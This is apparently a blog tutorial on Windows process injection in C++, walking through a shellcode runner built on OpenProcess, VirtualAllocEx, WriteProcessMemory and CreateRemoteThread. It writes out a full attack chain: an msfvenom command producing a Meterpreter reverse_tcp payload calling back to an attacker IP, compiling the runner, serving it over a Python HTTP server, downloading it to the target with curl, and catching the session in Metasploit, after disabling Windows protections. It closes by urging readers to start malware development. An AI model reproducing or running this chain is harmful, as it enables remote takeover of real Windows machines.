OFFENSIVE C++: PROCESS INJECTION

Getting Started with WIN32 API

• It is crucial for offensive penetration testing.

What is the Windows API?

Programs often require access to modify the Windows Subsystem or hardware, but are restricted to maintain machine stability. Microsoft created the Windows API that allowed developers to interact with the Windows OS via their applications. Win32 API in C++ is like talking directly to Windows itself.

For red teamers, it contains a set of functions that can be utilized to manipulate memory and processes.

Why C/C++?

• Win32 API is written in C but can be accessed in C++.
• Ability to manipulate hardware resources.
• Good for low-level programming and offensive security tasks.

Example Applications(Win32 API Functions) :

• HANDLE- is like a reference or pointer to a window object — in this case, a process.
• VirtualAlloc- This function is used by malware to allocate memory for storing executable code or data.
• VirtualProtect- Malware uses this function to change memory protections to allow writing to regions of memory that are typically read-only.
• WriteProcessMemory- Writes data into a specified region of the memory of a process.
• Rt1MoveMemory- In malware, it is used to manipulate code or data in memory.
• CreateThread - Malware can utilize threads to perform concurrent operations, such as communicating with a Command and Control (C2) server while also encrypting a victim’s files in a ransomware attack.

C++ Process Injection

Malware development technique used to execute code within the address space of another process, allowing stealthy operations and evasion mechanisms.

Terminologies

• Process — Is an instance of a running program.
• Threads — Is the execution context inside a process. A process has many threads that share memory and resources.
• ShellCode — Small memory payload intended for execution.

Shell Code Injection Mechanism

We want to inject something we want to run into a target process(pID). Every process has a process ID.

• Allocate memory to our shellcode.
• Write to the process memory.
• Create a remote thread.

Step One: Generate Shell Code

On Kali Linux, we can use Msfvenom to perform this.

kali> msfvenom — platform windows — arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=443 EXITFUNC=thread -f c — var-name=payload

• We provide the target platform
• Our payload(windows/x64/meterpreter/reverse_tcp)
• Attacker IP address and port.
• EXITFUNC controls how the payload exits after it runs on Windows
• The name of the payload.

Generating the Shell code

Step two: Write our Shell Code Runner(Win32 API)

Get own_the_net’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Link to code: Github

part one of the code…

• Import necessary libraries. #include <window.h> allows us to access the Win32 API functions. The other libraries are standard C/C++ libs.
• Global Variables: PID — target process id, TID — thread ID of the remote thread created, rBuffer — pointer (in target process address space) returned by VirtualAllocEx , hProcess / hThread — handles for the opened process and remote thread.
• payload[]: here we add our generated shell code from step one. The shell code is raw machine code to be executed inside the target process.

part two…

• Main is where program execution starts, and here we are required to provide the program with the target process ID when running it.
• OpenProcess(): Tries to open the target process handle with PROCESS_ALL_ACCESS (very broad privileges).

part three…

• Check if the OpenProcess() was successful and returned something to the hProcess HANDLE. PROCESS_ALL_ACCESS may fail unless the caller has sufficient privileges
• VirtualAllocEx() allocates memory inside the target process(hProcess). The arguments NULL let the OS choose the base address, sizeof(payload) bytes are reserved/committed, and PAGE_EXECUTE_READWRITE Give the memory read, write, and execute permissions
• WriteProcessMemory() writes the local payload buffer into the allocated rBuffer inside the target process.

part four…

• CreateRemoteThread() creates a thread inside the target process whose start address is rBuffer.
• The shell code is executed as soon as the remote thread starts.

…final part of the code

• We wait for the thread to finish
• Close HANDLES and exit.

Step Three: Compile the Shell Runner.

NOTE: We have not implemented any EDR bypassing techniques, and we need to turn off Windows protection.

We will compile our shell runner on our Kali Linux machine.

Kali> x86_64-w64-mingw32-g++ -O2 -s -o shell_runner.exe shell_runner.cpp

Set up a Python Server to deliver to our target machine:

kali> python -m http.server 9000

On the Windows CMD, download the Shell runner:

cmd>> curl -o shell_runner.exe http://192.168.1.111:9000/shell_runner.exe

Step Four: Run the Shell_Runner

Set up MeterSploit to handle incoming connections from the target

kali> sudo msfconsole

Set LHOST as the IP we used to generate our shell and LPORT the Port we used

Run our multi-handler exploit as a background job using -j

msf> run -j

On the target, we can open a process like Paint or Notepad and get its process ID from the task manager, or use my C++ Script to list all the running processes with pIDs.

provide the process ID we want to inject our shell code to

Immediately, our shell runner is executed on our Metasploit we get a connection:

🥳🥳

Interact with the session:

Meterpreter is a powerful payload🏴‍☠️

Conclusion

To conclude, mastering C/C++ is essential for system exploitation. Let this kick-start your malware development. Build upon this and perform DLL Injection.

Hiding in plain sight🐾 with Windows API.